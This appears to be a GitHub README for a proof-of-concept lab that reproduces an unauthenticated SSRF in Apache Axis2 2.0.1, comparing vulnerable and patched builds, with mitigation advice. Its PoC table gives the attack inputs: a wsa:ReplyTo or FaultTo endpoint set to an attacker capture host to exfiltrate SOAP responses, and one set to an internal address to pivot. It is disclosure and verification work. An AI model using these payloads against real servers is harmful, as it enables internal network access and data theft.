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GitHubgooglesky/cve-2026-123753

CVE-2026-123753

Proof-of-concept and Podman lab for CVE-2026-123753, an unauthenticated SSRF in Apache Axis2 WS-Addressing ReplyTo/FaultTo endpoints, with vulnerable vs patched verification.

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11 days agoNot yet reviewed
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CVE-2026-123753

Apache Axis2/Java WS-Addressing wsa:ReplyTo / wsa:FaultTo unauthenticated SSRF (fixed in 2.0.2).

An unauthenticated caller ships a non-anonymous wsa:ReplyTo (or wsa:FaultTo) endpoint reference. On the 2.0.1 code path AddressingInHandler extracts that EPR without any screening, so once the message is processed the engine opens a new server-side connection to the caller-chosen address to deliver the response — or the fault. The caller picks where the server connects (SSRF) and receives the full SOAP response body at a host of their choosing (response exfiltration). No credentials, WS-Security, or deployment quirks are required: the stock axis2.war engages <module ref="addressing"/> out of the box.

Fix (commits 1671a686 / 1b6856b4, released in 2.0.2): a AddressingResponseEndpointPolicy screens inbound response endpoints at both the header-parsing and the transport-selection layers; allowNonAnonymousResponseEndpoints defaults to false, and permitted endpoints are restricted by scheme (https only by default) and, when re-enabled, by private-range/allow-list checks.

Lab

Podman network axis2lab (10.90.0.0/24); every container is bounded (--cpus 2 --memory 4g).

containerrolehost port
axis2-vulnAxis2 2.0.1 (Tomcat 10.1, stock axis2.xml)28080
axis2-fixedAxis2 2.0.2 (control)28081
internal (10.90.0.20)internal-only mock service (instance-metadata style, logs every hit)28082
attacker (10.90.0.30)capture server — logs full HTTP requests, GET /logs JSON28888

A small EchoService POJO is deployed on both targets so the decoupled response carries caller-controlled data, which makes the exfiltrated body unambiguous. The stock Version service is left in place.

Repro

make prepare     # fetch + explode the official 2.0.1/2.0.2 WARs, build echo.aar
make up          # build images, start the lab
make poc-vuln    # 3/3 VULNERABLE
make poc-fixed   # 3/3 PATCHED (refused, no egress)
make down

PoC modes (poc/poc.py):

moderequestproof
replyto-attackerwsa:ReplyTo = http://attacker:8888/capturesync HTTP 202 (empty); attacker receives POST /capture whose body is the full SOAP response, echo marker included
replyto-internalwsa:ReplyTo = http://10.90.0.20/secretthe internal mock logs POST /secret from the Axis2 server — the pivot reached the internal network
faultto-attackerbogus operation + wsa:FaultTo = http://attacker:8888/capture/faultsync HTTP 500; the fault message is delivered to the FaultTo EPR

Exit codes: 0 = results match expectation (vuln vulnerable / fixed patched), 2/3 = mismatch. --target/--mode select individual combinations.

Evidence

  • evidence/vulnerable-run.txt — full PoC run against 2.0.1: 3/3 vulnerable.
  • evidence/patched-run.txt — same run against 2.0.2: 3/3 patched, capture logs empty.
  • evidence/captured-decoupled-response.txt — the raw HTTP request Axis2 2.0.1 sent to the attacker endpoint (User-Agent: Axis2), body carrying the SOAP response.
  • evidence/patched-server-refusal.log — server side of the fixed run: the header-parsing layer rejects the EPR and the transport layer refuses the send.

Notes

  • The Axis2 HTTP sender does not follow 3xx redirects (verified with a 302 redirector), so the scheme/host screen cannot be dodged that way; the residual gap upstream documents itself is the DNS check/connect double resolution, reachable only when decoupled responses are explicitly re-enabled.
  • Same private report, fixed in 2.0.2 without a separate CVE: with exposeServiceMetadata=false, the 2.0.1 services listing (GET /axis2/services/listServices) still enumerates deployed services while the ?wsdl/?xsd/?policy routes correctly return 403 — lab/f5/ holds the A/B config.
  • The OpenAPI/Swagger surfaces from the same report are inert in the stock WAR (no routes are wired by default).

Mitigation

  • Upgrade to Apache Axis2/Java 2.0.2 or later.
  • Until then, egress-filter the Axis2 host: the attack requires the server to open new outbound connections to deliver decoupled responses.
  • If decoupled responses are genuinely required after upgrading: keep allowNonAnonymousResponseEndpoints=true only with blockPrivateNetworkResponseEndpoints=true and an explicit allowedResponseEndpointHosts allow-list, and prefer pinning allowedResponseEndpointSchemes to https.

References

  • https://www.openwall.com/lists/oss-security/2026/11/06/23
  • https://axis.apache.org/axis2/java/core/release-notes/2.0.2.html
  • https://github.com/apache/axis-axis2-java-core/commit/1671a68660df39459bf22f7b00309e2a8e782117
  • https://github.com/apache/axis-axis2-java-core/commit/1b6856b4d7903780786c79327bed1b53ea051a15
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